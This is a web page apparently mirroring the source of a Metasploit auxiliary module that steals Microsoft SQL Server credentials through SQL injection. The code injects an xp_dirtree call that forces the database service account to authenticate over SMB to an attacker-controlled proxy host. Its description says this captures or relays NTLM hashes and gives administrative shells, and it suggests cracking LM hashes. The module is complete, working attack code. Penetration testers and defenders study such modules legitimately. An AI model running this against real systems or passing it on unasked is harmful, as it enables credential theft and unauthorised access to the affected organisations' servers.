CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL_SQLI
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',
12
'Description' => %q{
13
This module can be used to help capture or relay the LM/NTLM credentials of the
14
account running the remote SQL Server service. The module will use the SQL
15
injection from GET_PATH to connect to the target SQL Server instance and execute
16
the native "xp_dirtree" or stored procedure. The stored procedures will then
17
force the service account to authenticate to the system defined in the SMBProxy
18
option. In order for the attack to be successful, the SMB capture or relay module
19
must be running on the system defined as the SMBProxy. The database account used to
20
connect to the database should only require the "PUBLIC" role to execute.
21
Successful execution of this attack usually results in local administrative access
22
to the Windows system. Specifically, this works great for relaying credentials
23
between two SQL Servers using a shared service account to get shells. However, if
24
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
25
and john the ripper.
26
},
27
'Author' =>
28
[
29
'nullbind <scott.sutherland[at]netspi.com>',
30
'Antti <antti.rantasaari[at]netspi.com>'
31
],
32
'License' => MSF_LICENSE,
33
'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]
34
))
35
36
register_options(
37
[
38
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
39
])
40
end
41
42
def run
43
44
# Reminder
45
print_status("DONT FORGET to run a SMB capture or relay module!")
46
47
# Generate random file name
48
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
49
50
# Setup query - double escaping backslashes
51
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
52
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
53
54
# Execute query to force authentication from backend database to smbproxy
55
mssql_query(sql)
56
end
57
end
58
59